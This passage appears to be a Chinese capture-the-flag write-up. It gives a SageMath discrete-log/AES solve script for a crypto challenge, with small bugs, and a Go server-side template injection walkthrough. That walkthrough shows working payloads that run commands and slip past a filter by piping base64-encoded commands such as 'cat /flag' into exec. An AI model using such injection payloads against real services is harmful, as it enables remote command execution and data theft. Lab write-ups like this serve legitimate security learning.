 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}